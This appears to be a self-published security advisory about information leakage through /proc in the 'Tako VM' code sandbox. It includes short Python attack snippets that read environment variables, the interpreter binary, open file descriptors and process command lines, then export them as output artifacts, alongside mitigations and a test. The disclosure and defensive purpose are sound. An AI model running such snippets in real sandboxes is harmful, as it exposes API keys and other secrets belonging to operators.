Security Analysis: /proc Filesystem Exposure¶
Published: 2026-01-26 · Last reviewed: 2026-06-12 Severity: MEDIUM (information disclosure to code already running inside the sandbox) Reference: Equixly: The False Security of AI Containers
Status as of v0.1.4
This is a self-published analysis, not a CVE/GHSA. The behavior described applies to sandboxes running under the standard runc runtime. Primary mitigation, available today: run with gVisor (container_runtime: runsc + security_mode: strict), where /proc is a synthetic view served by the userspace kernel. Seccomp filtering is enabled by default since the analysis was written. AppArmor-based /proc path restrictions under runc remain on the roadmap.
Summary¶
Tako VM containers are vulnerable to information leakage through the /proc filesystem. While artifact download endpoints have strong path traversal protection, user code executing inside containers can read sensitive data from /proc and exfiltrate it via output artifacts.
Attack Vectors¶
1. Environment Variable Leakage via /proc/self/environ¶
Attack Code:
# User submits this as code to execute
import json
# Read all environment variables from /proc
with open('/proc/self/environ', 'rb') as f:
env_data = f.read()
# Parse null-byte separated key=value pairs
env_vars = {}
for entry in env_data.split(b'\x00'):
if b'=' in entry:
key, value = entry.split(b'=', 1)
env_vars[key.decode()] = value.decode()
# Exfiltrate via output artifact
with open('/output/stolen_env.json', 'w') as f:
json.dump(env_vars, f, indent=2)
print("Environment extracted successfully")
Information Exposed:
- Job type environment variables - avoid using these for secrets
- Custom job_type.environment variables - may contain API keys, secrets
- System environment (PATH, HOME, etc.)
2. Binary Extraction via /proc/self/exe¶
Attack Code:
import shutil
# Copy the Python interpreter binary
shutil.copy('/proc/self/exe', '/output/python_binary')
print("Binary extracted")
Risk: Enables reverse engineering of: - Python version and patches - Compiled extensions - Potential vulnerabilities in the runtime
3. File Descriptor Enumeration via /proc/self/fd/¶
Attack Code:
import os
import json
fds = {}
for fd_num in range(256):
fd_path = f'/proc/self/fd/{fd_num}'
try:
target = os.readlink(fd_path)
fds[fd_num] = target
except (FileNotFoundError, OSError):
pass
with open('/output/open_files.json', 'w') as f:
json.dump(fds, f, indent=2)
Risk: Reveals: - Open configuration files - Database connections - Unix sockets - Log files
4. Process Enumeration via /proc/[PID]/¶
Attack Code:
import os
import json
processes = {}
for pid in range(1, 100):
cmdline_path = f'/proc/{pid}/cmdline'
try:
with open(cmdline_path, 'rb') as f:
cmdline = f.read().replace(b'\x00', b' ').decode()
processes[pid] = cmdline
except (FileNotFoundError, PermissionError):
pass
with open('/output/processes.json', 'w') as f:
json.dump(processes, f, indent=2)
Risk: Reveals: - Running processes and command arguments - Container initialization details - Potential security tooling
Current Mitigations in Tako VM¶
What Works ✅¶
- Artifact Download Protection (app.py:1036-1042)
- Uses
is_relative_to()for robust path validation - Only allows downloads of manifest-listed artifacts
-
Prevents API-level path traversal
-
Container Hardening (worker.py:593-600)
- Read-only filesystem (except /output, /tmp)
- Capability dropping (
--cap-drop=ALL) - Network isolation by default
-
Privilege drop to non-root (uid 1000) via
gosuafter dependency install (no-new-privilegesis intentionally not set — see the hardening guide) -
Filename Validation (security.py:335-360)
- Blocks path separators in artifact names
- Prevents parent directory references
- Blocks hidden files
What's Missing ⚠️¶
- No /proc path restrictions under runc - Containers have full read access to their own
/proc(Docker masks some host paths like/proc/kcoreby default, but not/proc/self/environ) - Environment variables in plaintext - Sensitive config passed via env vars
- No LSM (AppArmor/SELinux) - No mandatory access controls
Recommended Mitigations¶
Priority 1: Run under gVisor (available today)¶
The gVisor runtime serves /proc from its userspace kernel rather than exposing the host kernel's procfs — this is the strongest available mitigation and is built in:
# tako_vm.yaml
container_runtime: runsc
security_mode: strict # fail rather than silently fall back to runc
What seccomp can and cannot do here
Seccomp (enabled by default) blocks dangerous syscalls — ptrace, process_vm_readv, module loading — but cannot distinguish open("/proc/self/environ") from open("/input/data.json"): both are the same syscall. Path-based /proc restrictions under runc require an LSM (AppArmor/SELinux), which is on the roadmap.
Priority 2: Avoid passing secrets via environment variables¶
Instead of passing sensitive data via env vars: 1. Use Docker secrets mounting (for production) 2. Write config to read-only files in /input 3. Use a secrets management service
Example - Replace this:
With this:
# Write to read-only config file instead
config_file = input_dir / "_config.json"
config_file.write_text(json.dumps({"secret_key": secret}))
cmd.append(f"--mount=type=bind,source={config_file},target=/config/secrets.json,readonly")
Priority 3: Know what user code can see¶
Security Notice: Under
runc, user code runs with read access to/proc, which exposes container metadata, environment variables, and process information. Do not pass sensitive secrets via environment variables. Use input files or external secret management instead — and for untrusted code, run under gVisor.
Impact Assessment¶
Likelihood: HIGH - Any user can submit code to read /proc Impact: MEDIUM - Leaks configuration but not host system access Overall Risk: MEDIUM
Affected Components: - All container executions - Job types with custom environment variables
Testing¶
Create a test to verify /proc exposure:
def test_proc_environ_exposure():
"""Verify that /proc/self/environ is accessible (known limitation)."""
code = """
import os
env = dict(os.environ)
with open('/output/result.json', 'w') as f:
import json
json.dump({"env_count": len(env)}, f)
"""
result = executor.execute_job({"code": code, "input_data": {}})
assert result["success"]
# This currently passes - demonstrating the vulnerability
assert result["output"]["env_count"] > 0
References¶
- Equixly: The False Security of AI Containers
- Docker Security: seccomp profiles
- Linux /proc filesystem
- OWASP: Container Security
Next Steps¶
- Mitigations - How to mitigate this vulnerability
- Hardening Guide - Production hardening